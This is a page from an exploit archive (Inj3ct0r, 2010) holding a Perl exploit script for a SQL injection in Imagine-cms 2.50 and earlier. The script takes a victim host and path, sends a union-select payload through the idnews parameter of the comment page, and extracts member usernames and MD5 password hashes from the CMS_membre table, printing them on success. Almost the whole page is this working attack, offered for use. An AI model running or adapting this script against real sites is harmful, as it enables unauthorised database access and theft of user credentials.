<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>Imagine-cms &lt;= 2.50 SQL Injection Exploit Vulnerability</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>=======================================================
Imagine-cms &lt;= 2.50 SQL Injection Exploit Vulnerability
=======================================================

#!/usr/bin/perl
###########################################
#
# Script Name : Imagine-cms 2.50
#
# Version : 2.50
#
# Bug Type : SQL Injection
#
# Found by : Metropolis
#
# Home : http://metropolis.fr.cr
#
# Discovered : 21/07/2010
#
# Download app :
# http://www.imagine-cms.net/modules/
# telechargement/index.php?page=afficher_souscat&amp;id_cat=2
#
###########################################
use IO::Socket;
if(@ARGV != 2) { usage(); }
else { exploit(); }
sub header()
{
print &quot;n- Author: Metropolisrn&quot;;
print &quot;- Imagine-cms &lt;= 2.50 Remote SQL Injection Exploitrn&quot;;
}
sub usage()
{
header();
print &quot;- Usage: $0 &lt;host&gt; &lt;path&gt;rn&quot;;
print &quot;- &lt;host&gt; -&gt; Victim’s host ex: www.victim.comrn&quot;;
print &quot;- &lt;path&gt; -&gt; ex: /rn&quot;;
exit();
}
sub exploit ()
{
#Our variables…
$spserver = $ARGV[0];
$spserver =~ s/(http://)//eg;
$sphost = &quot;http://&quot;.$spserver;
$spdir = $ARGV[1];
$spport = &quot;80&quot;;
$sptar = &quot;index.php?page=commentaire&amp;idnews=&quot;;
$spxp = &quot;-1+and+1=0+union+select+1,2,concat(25552,membre_pseudo,25553,membre_mdp,25554),4,5+from+CMS_membre–&quot;;
$spreq = $sphost.$spdir.$sptar.$spxp;
#Sending data…
header();
print &quot;- Trying to connect: $spserverrn&quot;;
$sp = IO::Socket::INET-&gt;new(Proto =&gt; &quot;tcp&quot;, PeerAddr =&gt; &quot;$spserver&quot;, PeerPort =&gt; &quot;$spport&quot;) || die &quot;- Connection failed…n&quot;;
print $sp &quot;GET $spreq HTTP/1.1n&quot;;
print $sp &quot;Accept: */*n&quot;;
print $sp &quot;Referer: $sphostn&quot;;
print $sp &quot;Accept-Language: trn&quot;;
print $sp &quot;User-Agent: NukeZillan&quot;;
print $sp &quot;Cache-Control: no-cachen&quot;;
print $sp &quot;Host: $spservern&quot;;
print $sp &quot;Connection: closenn&quot;;
print &quot;- Connected…rn&quot;;
while ($answer = &lt;$sp&gt;) {
if ($answer =~ /25552(.*?)25553([d,a-f]{32})25554/) {
print &quot;- Exploit succeed!rn&quot;;
print &quot;- Username: $1rn&quot;;
print &quot;- MD5 HASH of PASSWORD: $2rn&quot;;
exit();
}
}
#Exploit failed…
print &quot;- Exploit failedn&quot;
}

# <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-07-21]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));</script><script type=’text/javascript’>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
Source: http://inj3ct0r.com/exploits/13422